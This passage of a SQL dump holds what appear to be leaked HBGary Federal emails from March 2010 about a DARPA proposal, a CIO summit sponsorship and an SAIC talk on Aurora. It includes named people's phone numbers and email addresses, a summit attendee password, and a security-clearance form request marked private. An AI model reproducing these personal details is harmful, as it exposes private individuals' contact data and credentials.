disk\r\nsearch capabilities looking for the same kinds of things MIR looks for, but we\r\nwill search RAM and disk.&nbsp; MIR technology for searching is simple.&nbsp; Their value\r\nis the knowledge from their services organization.&nbsp; HBGary has teamed up with\r\nsome very large U.S. services organizations, so very soon we will have their\r\nknowledge in our products.\r\n\r\n&nbsp;\r\n\r\nFrom a usability point of view, HBGary is much better\r\nthan Mandiant. Just compare Responder with Memoryze and you will know what I\r\nmean.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15005,'aaron_hbgary_com/15005.html'),(4772,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003032.M661298P3547Q4772.eml','\"John (TASC) Lovegrove\" <John.Lovegrove@tasc.com>','Checking in','Hey John,\r\n\r\nJust turnednin my DARPA proposal, decpressedfor a few minutes, then\r\nstarted thinking about all the other stuff going on.  What is the\r\nstatus of your COIN effort and when would you like to set up anyone to\r\ntalk about NSA?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15653,'aaron_hbgary_com/15653.html'),(4773,'2010-03-29','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297003032.M953495P3547Q4773.eml','aaron@hbgary.com','Meeting','\r\n\r\n\r\n\r\n\r\nMeeting\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI have a 3 pm meeting today on another cyber initiative so I won\'t be able to meet you at DARPA today, but I look forward to getting together in the very near future.\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n',12378,'aaron_hbgary_com/12378.html'),(4774,'2010-03-29','\"Alex Olson\" <aolson@gdsnewyork.com>','/aaron@hbgary.com/new/1297003033.M172090P3547Q4774.eml','aaron@hbgary.com,aaron@hbgary.com','Alex Olson_Government CIO (as per our converstion)','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBelow\r\nare HBGary Federal&#8217;s packages at reduced costing.&nbsp; Speak with you at 4:30 pm\r\nest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit Website:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nwww.governmentciosummit2010.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attendees\r\npassword:&nbsp;&nbsp;&nbsp;&nbsp; 567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBelow\r\nis HBGary Federal proposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSilver\r\nSponsorship \r\n\r\n&nbsp;\r\n\r\n2 executives to attend for the full duration of\r\nthe summit 16 predetermined, 40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n&nbsp;\r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n&nbsp;\r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)&nbsp; $30,000\r\nUSD\r\n\r\n&nbsp;\r\n\r\nTarget\r\nSponsorship \r\n\r\n&nbsp;\r\n\r\nUp to one executive to attend for the full duration of the\r\nsummit\r\n\r\n8 predetermined, 40-minute business meetings\r\n\r\nFull networking access to the entire Delegation for duration of\r\nthe Summit\r\n\r\nInvitation to gala dinners and keynote speeches\r\n\r\nOption to host whitepaper on Summit website\r\n\r\nAccess to all interactive workshops, roundtable discussions\r\n\r\nExecutive accommodation, drinks and dining\r\n\r\nCorporate signage through-out the summit\r\n\r\nPre and post event marketing\r\n\r\nCompany logo to feature online as sponsor\r\n\r\nCompany and Delegate Profile to feature in Summit Guide\r\n\r\nPost event follow up with delegates\r\n\r\n&nbsp;\r\n\r\nInvoiced\r\n50% 30 days after confirming participation, 50% 45 days before the summit \r\n\r\n&nbsp;\r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)&nbsp; $25,000\r\nUSD\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI look\r\nforward to speaking with you at 4:30 EST, hopefully welcoming you HBGary Federal\r\nonboard.\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\n&nbsp;\r\n\r\nAlex\r\nOlson\r\n\r\nDirector\r\nCIO GOV.\r\n\r\n&nbsp;&nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\nCIO\r\nGovernment US\r\n\r\n40 Wall Street, 5th Floor\r\n\r\nNew\r\nYork, NY 10005\r\n\r\nMobile:\r\n203.512.4162\r\n\r\nOffice:\r\n212.920.8181 x 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12511,'aaron_hbgary_com/12511.html'),(4775,'2010-03-29','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297003033.M390639P3547Q4775.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Proposal - Missing or Incorrect Information - HBGary','Thanks Ted.  \r\n\r\nPlease let me know if you have any exceptions to the GDAIS subcontract\r\ntemplate and our terms and conditions.  If so, please send your\r\nexceptions to me by Thursday, April 5th.\r\n\r\nAs noted in my RFP, DARPA did not include any pertinent FAR or DFARs in\r\nthe BAA.  If we win the program I expect to receive them in the prime\r\ncontract and will pass any required flow downs to you at that time so\r\nyou can review. \r\n\r\nRegarding Item 12, this is fine.\r\n\r\nRegards,\r\nCindy\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, March 26, 2010 10:17 PM\r\nTo: Larson, Cindy S.; \'Aaron Barr\'\r\nSubject: Re: Proposal - Missing or Incorrect Information - HBGary\r\n\r\nIn reference to RFP Attachment 1:\r\n\r\nItem 5:  I included the FFRDC statement in the revised cover letter\r\n(attached).\r\nItem 9:  I included the Foreign Nationals statement in the revised cover\r\nletter (attached).\r\nItem 12:  The team organization information was previously sent and is\r\nincluded in the GD Proposal.  Please let us know if you need this\r\nseparately.\r\nItem 14:  Tech/Security/Contract POCs have been added to the revised\r\ncover letter (attached).\r\nItem 18:  We have no execeptions to the RFP or SOW.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n>  \r\n> (3)  Refer to RFP Attachment 1, Items 5, 9, 12, 14 and 18.  - need \r\n> your response to all.\r\n>  \r\n> Thanks,\r\n>  \r\n> Cindy\r\n>  \r\n>  \r\n> \r\n\r\n',5315,'aaron_hbgary_com/5315.html'),(4776,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003033.M603218P3547Q4776.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Call in a bit','Gd only printed 2 copies so at a kinkos trying to get it printed in\r\ntime for TA1.\r\n\r\nI need a drink.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',3221,'aaron_hbgary_com/3221.html'),(4777,'2010-03-29','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297003042.M517745P3547Q4777.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Final version of DCG Technical Area 1 technical and management proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Ted,\r\n\r\n&nbsp;\r\n\r\nAttached is the final version of the DARPA Cyber Genome\r\nTechnical Area 1 technical and management proposal submitted today to DARPA.\r\n\r\n&nbsp;\r\n\r\nI am looking forward to starting work with our great team!&nbsp;\r\nThanks so much for your incredible help and contributions that make this\r\nsubmission possible.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7035,'aaron_hbgary_com/7035.html'),(4778,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003064.M403093P3547Q4778.eml','\"Ted Vera\" <ted@hbgary.com>','docs','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',717,'aaron_hbgary_com/717.html'),(4779,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003066.M320061P3547Q4779.eml','\"Watson, Dale C.\" <Dale.Watson@gd-ais.com>','Re: PAR package request for Indian proposal team<GD-AIS PRIVATE>','I have a txt copy..\r\nAttached.\r\n\r\nThis work?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 4:37 PM, Watson, Dale C. wrote:\r\n\r\n> \r\n> Hello Mr. Barr,\r\n> \r\n>   You have been selected to support a new effort. Necessary for your participation on this effort, a \'package\' for you needs to be submitted as soon as possible. I need to have your package by March 30th if at all possible. Enclosed are 7-attachments; 1) SF86, 2) SF86A Continuation Sheet, 3) SF86 Relatives Continuation sheet, 4) Authorization To Obtain Consumer (Credit) Report, 5) Classified Program Security Questionnaire, 6) SAP 20, Foreign Relative or Associate Interview form, and 7) SAP 20 Example for Leisure Travel. Your local Personnel Security department should be able to provide a copy of your most recent SF86 to use in filling out this one.\r\n> \r\n>   If you list any Foreign Travel, this customer requires a SAP Format 20 FOREIGN RELATIVE AND ASSOCIATE INTERVIEW. I\'ve attached an example of exactly what the form should look like, provided the statement at the bottom is true for your travel. You would also use additional copies of this form to list any foreign relatives/associate you have. When completed please fax your documents to the 650 966-2248, if you would please contact me before faxing I would appreciate it so I can make sure that your information will not sit on the fax machine in an outside area. If it would be easier you can scan the requested documents and e mail them to me at Dale.Watson@GD-AIS.com.\r\n> \r\n> \r\n> If you have any questions, please contact myself (650) 966-2597.\r\n> \r\n> >   >   > >   >    > >\r\n> \r\n> \r\n> Dale Watson\r\n> \r\n> Contractor Program Security Officer\r\n> \r\n> GENERAL DYNAMICS\r\n> \r\n> Advanced Information Systems, Inc.\r\n> \r\n> (650) 966-2597\r\n> \r\n> \r\n> GDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-706. This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties.\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8093,'aaron_hbgary_com/8093.html'),(4780,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003066.M815965P3547Q4780.eml','\"Penny Leavy\" <penny@hbgary.com>','I missed something','Hey can you call me back when you get a chance.\r\n\r\nI wanted to talk to you about the CIO offisite in September.  They are securing more CIOs that I am interested in, csuch as the CIO of DISA, FBI.  And they still want me to hold a workshop on threat intelligence, but I am not sure I can make the numbers work short term.  He wants 50% in 30 days and 50% within 45 of conference.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16303,'aaron_hbgary_com/16303.html'),(4781,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003067.M20962P3547Q4781.eml','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','Re: Aurora Talk at SAIC','Sorry for the delay.  I am still interested and committed to this presentation.  I just turned in a proposal, hence the lack of contact.  I will get the bio and paragraph out to you by tomorrow.  Look forward to the conversation.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 26, 2010, at 4:55 PM, Estell, Timothy W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Looks like Dino or EndGames got cold feet. They say they have too much\r\n> going on to commit Dino to this event.\r\n> \r\n> So the stage is yours and you can keep us captivated with the HBGary\r\n> research into Aurora.\r\n> \r\n> We\'ll plan on Tuesday, April 20th at 4 PM.\r\n> \r\n> Can you provide a one paragraph bio to include in the meeting\r\n> announcement?\r\n> \r\n> Thanks.\r\n> \r\n> Tim.\r\n> \r\n> Tim Estell -- estellt@saic.com\r\n> 443-367-7558 (Office) 443-562-2039 (Cell) \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9340,'aaron_hbgary_com/9340.html'),(4782,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003067.M220742P3547Q4782.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,','Re: Aurora Talk at SAIC','How about the 27th does that work?\r\n\r\nAaron\r\n\r\nOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> I just spoke with our Conference Center coordinator and meeting space is\r\n> an issue at 1600 on 20 Apr.\r\n> \r\n> We can easily do 1600 on 27 Apr if that works for you.\r\n> \r\n> We can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need the\r\n> extra 30 minutes to reconfigure the room from a previously scheduled\r\n> meeting.\r\n> \r\n> Along with your bio, I\'ll also need a paragraph or two abstract of your\r\n> presentation to post as part of the announcement.\r\n> \r\n> Scott\r\n> \r\n> -----Original Message-----\r\n> From: Estell, Timothy W. \r\n> Sent: Friday, March 26, 2010 4:56 PM\r\n> To: aaron@hbgary.com\r\n> Cc: bob@hbgary.com; Sheldon, Scott W.\r\n> Subject: Aurora Talk at SAIC\r\n> \r\n> Aaron,\r\n> \r\n> Looks like Dino or EndGames got cold feet. They say they have too much\r\n> going on to commit Dino to this event.\r\n> \r\n> So the stage is yours and you can keep us captivated with the HBGary\r\n> research into Aurora.\r\n> \r\n> We\'ll plan on Tuesday, April 20th at 4 PM.\r\n> \r\n> Can you provide a one paragraph bio to include in the meeting\r\n> announcement?\r\n> \r\n> Thanks.\r\n> \r\n> Tim.\r\n> \r\n> Tim Estell -- estellt@saic.com\r\n> 443-367-7558 (Office) 443-562-2039 (Cell) \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8993,'aaron_hbgary_com/8993.html'),(4783,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003078.M32212P3547Q4783.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Final FInal','Chris,\r\n\r\nI enjoyed working with you and your team.  Hopefully we get to do more of it.  Lets try and work out a time to get together next week.\r\n\r\n',3075,'aaron_hbgary_com/3075.html'),(4784,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003078.M821734P3547Q4784.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Proposal in 2:54pm EDT','All,\r\n\r\nI just wanted to say thank you for your support during this effort, and I am looking forward to executing this contract with all of you.  But first a few drinks...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11162,'aaron_hbgary_com/11162.html'),(4785,'2010-03-29','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297003079.M276035P3547Q4786.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>','Great job everyone!','I echo Aaron\'s sentiment and I am really looking forward to working with\r\nour great team on technical areas 1, 3 and 4, and additional work as\r\nwell.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 5:49 PM\r\nTo: Phil Porras; Anita D\'Amico; Irby Thompson; Adam Fraser; Starr,\r\nChristopher H.; Upchurch, Jason R.\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: Proposal in 2:54pm EDT\r\n\r\nAll,\r\n\r\nI just wanted to say thank you for your support during this effort, and\r\nI am looking forward to executing this contract with all of you.  But\r\nfirst a few drinks...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14082,'aaron_hbgary_com/14082.html'),(4786,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003079.M68698P3547Q4785.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','conversation','Hey guys,\r\n\r\nI am heading to new york for the rest of the week to spend some time with my family.  Maybe next week we could schedule some time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14113,'aaron_hbgary_com/14113.html'),(4787,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003088.M912990P3547Q4787.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','Appreciation','Hi Mike,\r\n\r\nAgain thank you for your help, short notice.  It was very gratifying turning the proposal in today.  I look forward to working more together in the future.  I am heading to New York for a few days, lets try and get together soon and have lunch.\r\n\r\nAttached is a copy of the final proposal, no hours available though for  review.. :)\r\n\r\n',5317,'aaron_hbgary_com/5317.html'),(4788,'2010-03-29','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297003089.M685372P3547Q4788.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Proposal in 2:54pm EDT','Aaron,\r\n\r\nLooking forward to doing business with HBGary. If you want to toast to\r\nthe future, I\'ll be in Laurel MD for a meeting on Friday morning.\r\nArriving in Columbia, MD Thursday afternoon or evening and leaving\r\nFriday afternoon or evening.\r\n\r\nAnita\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 5:49 PM\r\nTo: Phil Porras; Anita D\'Amico; Irby Thompson; Adam Fraser; Christopher\r\nH. Starr; Jason R. Upchurch\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: Proposal in 2:54pm EDT\r\n\r\nAll,\r\n\r\nI just wanted to say thank you for your support during this effort, and\r\nI am looking forward to executing this contract with all of you.  But\r\nfirst a few drinks...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9270,'aaron_hbgary_com/9270.html'),(4789,'2010-03-29','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297003089.M891998P3547Q4789.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Aurora Talk at SAIC','Aaron,\r\n\r\n27 April at 1600 works great.\r\n\r\nIf you agree, I\'ll need a short bio and a short presentation abstract to\r\npost with the invitation for attendees.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 5:44 PM\r\nTo: Sheldon, Scott W.\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\nSubject: Re: Aurora Talk at SAIC\r\n\r\nHow about the 27th does that work?\r\n\r\nAaron\r\n\r\nOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> I just spoke with our Conference Center coordinator and meeting space\r\nis\r\n> an issue at 1600 on 20 Apr.\r\n> \r\n> We can easily do 1600 on 27 Apr if that works for you.\r\n> \r\n> We can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\nthe\r\n> extra 30 minutes to reconfigure the room from a previously scheduled\r\n> meeting.\r\n> \r\n> Along with your bio, I\'ll also need a paragraph or two abstract of\r\nyour\r\n> presentation to post as part of the announcement.\r\n> \r\n> Scott\r\n> \r\n> -----Original Message-----\r\n> From: Estell, Timothy W. \r\n> Sent: Friday, March 26, 2010 4:56 PM\r\n> To: aaron@hbgary.com\r\n> Cc: bob@hbgary.com; Sheldon, Scott W.\r\n> Subject: Aurora Talk at SAIC\r\n> \r\n> Aaron,\r\n> \r\n> Looks like Dino or EndGames got cold feet. They say they have too much\r\n> going on to commit Dino to this event.\r\n> \r\n> So the stage is yours and you can keep us captivated with the HBGary\r\n> research into Aurora.\r\n> \r\n> We\'ll plan on Tuesday, April 20th at 4 PM.\r\n> \r\n> Can you provide a one paragraph bio to include in the meeting\r\n> announcement?\r\n> \r\n> Thanks.\r\n> \r\n> Tim.\r\n> \r\n> Tim Estell -- estellt@saic.com\r\n> 443-367-7558 (Office) 443-562-2039 (Cell) \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9136,'aaron_hbgary_com/9136.html'),(4790,'2010-03-29','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003090.M293621P3547Q4791.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal in 2:54pm EDT','Aaron,\r\n\r\nA Herculean effort by you guys - congratulations on getting the  \r\nproposal finished and submitted!!\r\n\r\nWe look forward to celebrating with you guys :-)\r\n\r\n      -Irby\r\n\r\n\r\n\r\nOn Mar 29, 2010, at 5:48 PM, Aaron Barr  wrote:\r\n\r\n> All,\r\n>\r\n> I just wanted to say thank you for your support during this effort,  \r\n> and I am looking forward to executing this contract with all of  \r\n> you.  But first a few drinks...\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',7681,'aaron_hbgary_com/7681.html'),(4791,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003090.M497396P3547Q4792.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: cell phone battery died?','Yes it did...sorry.Sounds good. &nbsp;See you soon.AaronOn Mar 29, 2010, at 6:04 PM, Starr, Christopher H. wrote:Aaron,&nbsp;Our conversation was cut off for some reason – did your cell phone battery die?&nbsp; I look forward to talking later and if we don’t talk before you go up to New York, have a great trip.&nbsp; I look forward to great work together,&nbsp;Chris\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12379,'aaron_hbgary_com/12379.html'),(4792,'2010-03-29','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003090.M724517P3547Q4793.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: conversation','Definitely - let\'s plan to go gran lunch next week.\r\n\r\n\r\n\r\nOn Mar 29, 2010, at 5:49 PM, Aaron Barr  wrote:\r\n\r\n> Hey guys,\r\n>\r\n> I am heading to new york for the rest of the week to spend some time  \r\n> with my family.  Maybe next week we could schedule some time to get  \r\n> together.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',2158,'aaron_hbgary_com/2158.html'),(4793,'2010-03-29','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297003090.M85496P3547Q4790.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal in 2:54pm EDT','Great job Aaron.  Please do forward us a copy of the final submitted version,\r\nafter you get some sleep and recover.   Cheers, Phil\r\n\r\n\r\n\r\nAt 02:48 PM 3/29/2010, Aaron Barr wrote:\r\n>All,\r\n>\r\n>I just wanted to say thank you for your support during this effort, \r\n>and I am looking forward to executing this contract with all of \r\n>you.  But first a few drinks...\r\n>\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal Inc.\r\n\r\n',5579,'aaron_hbgary_com/5579.html'),(4794,'2010-03-29','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297003090.M983577P3547Q4794.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Appreciation','Aaron, Ted,Good work on a good capability that should really pay off.  After the first big proposal, there&#39;s always economies with those that come thereafter.Both of you enjoy some well-earned sleep, and enjoy New York, Aaron.\r\nLook forward to linking up for lunch as the weather gets warmer,MikeOn Mon, Mar 29, 2010 at 5:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Mike,\r\n\r\nAgain thank you for your help, short notice.  It was very gratifying turning the proposal in today.  I look forward to working more together in the future.  I am heading to New York for a few days, lets try and get together soon and have lunch.\r\n\r\n\r\nAttached is a copy of the final proposal, no hours available though for  review.. :)\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',2063,'aaron_hbgary_com/2063.html'),(4795,'2010-03-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003091.M177644P3547Q4795.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,','Re: Aurora Talk at SAIC','Yep works for me.\r\n\r\n From my iPhone\r\n\r\nOn Mar 29, 2010, at 5:53 PM, \"Sheldon, Scott W.\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> 27 April at 1600 works great.\r\n>\r\n> If you agree, I\'ll need a short bio and a short presentation\r\n> abstract to\r\n> post with the invitation for attendees.\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, March 29, 2010 5:44 PM\r\n> To: Sheldon, Scott W.\r\n> Cc: bob@hbgary.com; Estell, Timothy W.\r\n> Subject: Re: Aurora Talk at SAIC\r\n>\r\n> How about the 27th does that work?\r\n>\r\n> Aaron\r\n>\r\n> On Mar 26, 2010, at 5:03 PM, Sheldon, Scott W. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> I just spoke with our Conference Center coordinator and meeting space\r\n> is\r\n>> an issue at 1600 on 20 Apr.\r\n>>\r\n>> We can easily do 1600 on 27 Apr if that works for you.\r\n>>\r\n>> We can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\n> the\r\n>> extra 30 minutes to reconfigure the room from a previously scheduled\r\n>> meeting.\r\n>>\r\n>> Along with your bio, I\'ll also need a paragraph or two abstract of\r\n> your\r\n>> presentation to post as part of the announcement.\r\n>>\r\n>> Scott\r\n>>\r\n>> -----Original Message-----\r\n>> From: Estell, Timothy W.\r\n>> Sent: Friday, March 26, 2010 4:56 PM\r\n>> To: aaron@hbgary.com\r\n>> Cc: bob@hbgary.com; Sheldon, Scott W.\r\n>> Subject: Aurora Talk at SAIC\r\n>>\r\n>> Aaron,\r\n>>\r\n>> Looks like Dino or EndGames got cold feet. They say they have too\r\n>> much\r\n>> going on to commit Dino to this event.\r\n>>\r\n>> So the stage is yours and you can keep us captivated with the HBGary\r\n>> research into Aurora.\r\n>>\r\n>> We\'ll plan on Tuesday, April 20th at 4 